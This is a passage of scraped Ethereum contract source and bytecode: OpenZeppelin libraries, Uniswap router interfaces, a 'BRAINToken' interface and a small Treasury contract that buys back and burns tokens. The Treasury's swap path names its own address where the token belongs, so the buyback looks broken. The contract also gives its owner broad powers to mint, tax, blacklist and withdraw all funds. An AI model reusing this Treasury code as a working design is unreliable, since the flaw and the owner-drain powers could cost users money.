and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface BRAINToken { function excludeFromFees(address) external; function includeInFees(address) external; function changeMarketing(address payable) external; function changeTreasury(address payable) external; function setMaxTx(uint256) external; function toggleMaxTx() external; function setTax(uint256) external; function toggleTax() external; function addBots(address[] memory) external; function removeBot(address) external; function addMinter(address) external; function removeMinter(address) external; function mint(address, uint256) external; function burn() external; function burn(uint256) external; } contract Treasury is Ownable { BRAINToken public brain; address public token; //bsc = 0x10ED43C718714eb63d5aA57B78B54704E256024E //Uni = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D //Matic = 0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address[] path = [ _uniswapV2Router.WETH(), address(this)]; constructor(address _token) { brain = BRAINToken(_token); token = _token; } receive() external payable {} function buyBackAndBurn() external { _uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: address(this).balance}( 0, path, address(this), block.timestamp ); brain.burn(); } function emergencyWithdraw() external onlyOwner{ payable(msg.sender).transfer(address(this).balance); } }
0x6080604052600436106100745760003560e01c8063db2e21bc1161004e578063db2e21bc146100fc578063f2fde38b14610111578063f956d3af14610131578063fc0c546a1461015e57600080fd5b8063715018a6146100805780638da5cb5b14610097578063c970e99f146100e757600080fd5b3661007b57005b600080fd5b34801561008c57600080fd5b5061009561018b565b005b3480156100a357600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff165b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b3480156100f357600080fd5b5061009561021d565b34801561010857600080fd5b50610095610332565b34801561011d57600080fd5b5061009561012c366004610580565b6103e2565b34801561013d57600080fd5b506001546100be9073ffffffffffffffffffffffffffffffffffffffff1681565b34801561016a57600080fd5b506002546100be9073ffffffffffffffffffffffffffffffffffffffff1681565b60005473ffffffffffffffffffffffffffffffffffffffff163314610211576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61021b600061050b565b565b6003546040517fb6f9de9500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063b6f9de9590479061027c906000906004903090429083016105bd565b6000604051808303818588803b15801561029557600080fd5b505af11580156102a9573d6000803e3d6000fd5b5050600154604080517f44df8e70000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff90921694506344df8e709350600480820193506000929182900301818387803b15801561031857600080fd5b505af115801561032c573d6000803e3d6000fd5b50505050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146103b3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610208565b60405133904780156108fc02916000818181858888f193505050501580156103df573d6000803e3d6000fd5b50565b60005473ffffffffffffffffffffffffffffffffffffffff163314610463576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610208565b73ffffffffffffffffffffffffffffffffffffffff8116610506576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610208565b6103df815b6000805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006020828403121561059257600080fd5b813573ffffffffffffffffffffffffffffffffffffffff811681146105b657600080fd5b9392505050565b600060808201868352602060808185015281875480845260a0860191508860005282600020935060005b8181101561061957845473ffffffffffffffffffffffffffffffffffffffff16835260019485019492840192016105e7565b505073ffffffffffffffffffffffffffffffffffffffff969096166040850152505050606001529291505056fea26469706673582212206e9defd4383088cdeac32f507b4b538985d10e194947402ed347f97ce18a4d3664736f6c63430008070033
[ 38 ]
0xf3056144812172480e61688ced74f026e2caaf16
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, 